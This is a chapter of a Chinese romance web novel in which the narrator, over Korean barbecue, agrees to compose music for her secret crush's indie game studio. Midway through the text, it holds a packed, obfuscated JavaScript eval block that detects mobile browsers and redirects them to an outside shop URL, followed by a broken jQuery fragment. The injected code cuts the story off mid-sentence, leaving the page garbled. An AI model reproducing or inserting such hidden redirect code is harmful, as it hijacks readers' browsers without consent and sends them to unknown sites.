许目远的这声很轻。
像是从苍茫远山处落下的静雪,在手心处停留了须臾便消失不见。
骤起的晚风惊扰了他额间的发丝,也同样拂过了我本不该再起波澜的心湖。
回忆在这个瞬间散成了无数的星屑,和皎洁的清辉一起倾洒而下。
把回忆里的人淋了个满怀。
我知道这句不过是对我与他多年友情的肯定。
但那一层层向外扩散的涟漪却不肯就这么悄无声息地消散在旖旎的夜色里。
我分明在期待。
可我有什么资格期待呢。
理智很快就扑灭了从断壁残垣里生出的那一丝不该有的星火。
我按捺住颤动不止的心绪,用拿手的插科打诨把话题扯开了。
......
今晚和刘昊辰,吴新凯约在一家韩式烤肉店。
我和许目远叫了辆顺风车过去。
两人见到我俩的第一句就是兴致勃勃的:“在一起了嘛。”
“......”
人还真是只相信自己愿意相信的东西。
我第N次跟他们苦口婆心解释了我和许目远只是朋友关系,依旧引来了嘘声片片。
我瞪了眼另一位当事人,让他赶紧也说两句话。
结果回应我的还是一副局外人“事不关己,高高挂起”的悠闲样子。
许目远最值得我学习的就是任何时候都“岿然不动”的心态。
虽说我俩被误会成情侣也不是啥新鲜事。
但陌生人误会了就误会了。
面对熟人怎么还能如此云淡风轻啊。
就算是为了看我笑话,那也是伤敌八千,自损一万。
不知道图个什么。
韩式烤肉我平时也吃得少。
五花肉包着生菜,裹上甜辣酱,就算味道很重也在好吃的范畴,但三四块下肚后肥腻的口感就让人招架不住了。
加上中午那顿也夯实,没一会儿我就放下筷子喊了停:“不用给我烤了,我吃不下了。”
“这才几口怎么就吃不下了。”
“中午吃了那么多,哪里还吃得下。”
我只是嘴馋,其实胃口不大。
和朋友出去吃饭基本都是最先饱的那个。
每次嚷嚷着要大干一场然后第一个举手投降。
那么吃得不多的我应该拥有纤细苗条的身材吧。
很可惜,由于不运动,身体基础代谢差,整天干坐着根本消耗不了多少能量。
以至于吃又吃不了,瘦又瘦不下来。
亏死了。
刘昊辰见烤好的那块猪颈肉我不要了就要去夹,被许目远用烤肉夹在半路拦截了:“干嘛,又不是给你的。”
“人家江语不吃了,我拿走不行嘛。”
“没你的份。”许目远夹起那块猪颈肉放进了我的碗里,“那就每种都再吃一块尝尝味道。”
“好好好,许目远,你牛逼,你清高,有本事你就别当胆小鬼。”没抢到猪颈肉的刘昊辰连连拍起手,阴阳怪气道。
胆小鬼?
什么意思?
靠我通风报信才侥幸逃过教导主任网吧抓人后没两天就又顶风作案的人跟胆小鬼是怎么扯上关系的。
我让他先消停几天等风头过了再去,结果他跟我说:“怕什么,这就叫灯下黑。”
听得云里雾里的我转头问许目远:“胆小鬼?什么意思?”
“没什么,你听他瞎说。”
他此地无银三百两矢口否认。
刘昊辰在旁嘘声道:“看看看,不是胆小鬼是什么。”
我虽不知道他们在打什么哑谜,但我想起上次吃烧烤他们也有事瞒着我。
之前我考虑到才初次见面,给许目远留点面子才没发作。
这会儿越想越觉得不对劲的我决定要好好清算了。
“许目远,你又在背地里说我坏话了吧。”
许目远一脸被冤枉的无辜样子,“我能说你什么坏话。”
刘昊辰借机煽风点火:“我可以证明,说了,还说了不少。”
吴新凯也看热闹不嫌事大,添油加醋:“是的,我也听到了,太过分了。”
我一听气不打一处来。
我原本“伟光正”的形象滑坡到如今这个地步许目远要负绝大部分责任。
我:“行,许目远你可以的,你厉害。”
许目远:“真没有,我怎么可能说你坏话啊。”
我:“这话你说出来良心不会痛嘛。”
许目远:“你不要听他们瞎说,我真没有说你坏话,况且你也没有坏话能说。”
我:“我看上去像傻子吗?”
许目远:“你怎么不相信我呢。”
我:“相信你?你有哪里值得相信?”
我与许目远“决战紫禁之巅”,两个吃瓜群众在旁添柴造势。
本次“华山论剑”以许目远滑跪道歉收了场。
我严正警告他要是再敢口无遮拦,我真要收集证据告他侵犯我名誉权了。
“许子哥,你看看,这就是你当胆小鬼的下场。”
刘昊辰连声叹气摇头,给许目远做了个赛后总结。
只可惜到最后我也没弄明白“胆小鬼”到底是什么意思。
东扯西拉了大半天后,满脸写着“冤枉”的许目远终于说到了今晚这顿饭的重点。
“江语,我们想请你帮我们StarGaming的第一款游戏制作BGM和主题曲。”
StarGaming在做一款古代背景的横轴本格推理探案游戏。
许目远负责整体策划和编程,刘昊辰写剧本,吴新凯美术。
现在基本设定,主要玩法和前三章节的流程都已大致敲定,开始制作Demo了。
上次吃烧烤他们三人说起时各个两眼放光。
真正的热爱是藏不住的。
音乐本就是我的拿手领域。
而且能和喜欢的人一起做游戏该有多有趣啊。
我不假思索就欣然应允:“你们不嫌弃我的水平的话。”
我如此大度“以德报怨”,许目远却“恩将仇报”,嬉皮笑脸来了句:“怎么会,能获得江大艺术家的加盟是我们的荣幸。”
“江语,许子哥说你高中时候就能作曲编曲。”
“不愧是江大艺术家,太厉害了。”
“听说你还出了本钢琴自作曲集。”
“啊对了,是不是还给许目远写了首歌来着。”
“......”
好家伙,敢情这就是许目远口中的没有说我的坏话。
我听着刘昊辰和吴新凯两人对我“如数家珍”,在一波又一波洪流的冲击下连和许目远玉石俱焚的力气都没有了。
毁了我对他是有什么好处嘛。
为何要下如此狠手。
高三那年的元旦晚会许目远为了当全场最靓的仔,给我当牛做马了一个月让我为他量身定做了一首吉他弹唱曲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939122|213828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
曲我早就写好了,却迟迟没有填词。
于我而言,词要比曲难上百倍千倍。
文字太苍白,词汇太贫瘠。
我写了又删,删了又写。
反反复复依旧找不出一句能描绘他在我心中模样的句子。
就像那封没有送出的信一般。
我要如何去描绘冰镇西瓜最中心的那一口,腾空烟火四散成星屑的那一瞬,蔚蓝无边的海岸线上最好看的那一片贝壳呢。
哪怕时至今日我也不知道。
我眼神示意许目远我跟他没完后便暂且把清算一事滞后,把能想到的问题点列了出来:
“古风的话要用到民乐,民乐的电子音源和真人演奏差别太大了,那种细微的变化用软件做会非常生硬。我以前接过几个古风编曲的单子,费了不少力气还是觉得差点东西。这样吧,我先试试效果,如果实在不尽人意的话就找专人录一下。”
许目远听完,摆摆手不以为意表示:“又不是3A大作,没这么多要求。”
“那怎么行,要做当然要做到最好了。”
他这个散漫的态度我就很看不惯。
无论是出于专业素养还是我的个人情感,都绝对不能敷衍了事。
“但你这么坑,这一首下来该多贵啊。”许目远面露担忧之色,自顾自盘算了起来。
可恶。
简直是以小人之心度君子之腹。
他把我当什么人了。
我怎么可能收钱啊。
“就当你请吃饭的回报了。”
我灵机一动想出了一个完美的解决办法。
可如此公平公正的提议竟然再次被许目远斩钉截铁拒绝了:“那不行,一码归一码,你开价就行。”
既然他都这么说了,我当然不惯着他:“那两万一首哈。”
还贴心附上了折扣价:“友情价两万五。”
刘昊辰看准时机又来了句调侃:“那爱情价呢?”
不过一来二去我也免疫了,当即表示:“十万。”
“快快快,机会就在眼前,赶紧给江语转十万。”刘昊辰催促着许目远不要错过机会。
他倒是云淡风轻:“微信有转账限额,一次转不了这么多。”
“切~”
不是装哑巴就是添乱。
有本事就真转,我还能敬他是个人物。
BGM和主题曲的具体要求三个人也没啥主意,便说把剧本给我看,全权交由我负责。
后来话题说到吴新凯的电玩店,这个我很感兴趣,噼里啪啦问了一大堆。
受吴新凯的启发,我也有了个不错的想法,便兴致勃勃征求了许目远的意见。
“你说等我退休后我回我们那儿也开个电玩店。第一个月开业大酬宾,结账时跟我LOL中路Solo,赢了就半价,是不是很不错。”
我此等雄心壮志却被许目远淋了一盆冰水:“那完了,一个月就倒闭了。”
我很不服气:“咋滴?还能是个人就比我强?”
“你就一个区区的翡翠选手,恐怕是。”
正当我打算为自己的LOL水平据理力争时,许目远又笑着补充了句:“但这不是还有我嘛。”
我听着他这番丝毫没有深想的话。
欢喜中也夹杂着对注定到来离别的黯然神伤。
这个傻子难道以为我和他能像如今这般嘻嘻哈哈一辈子嘛。
一辈子那么长。
谁和谁能一辈子呢。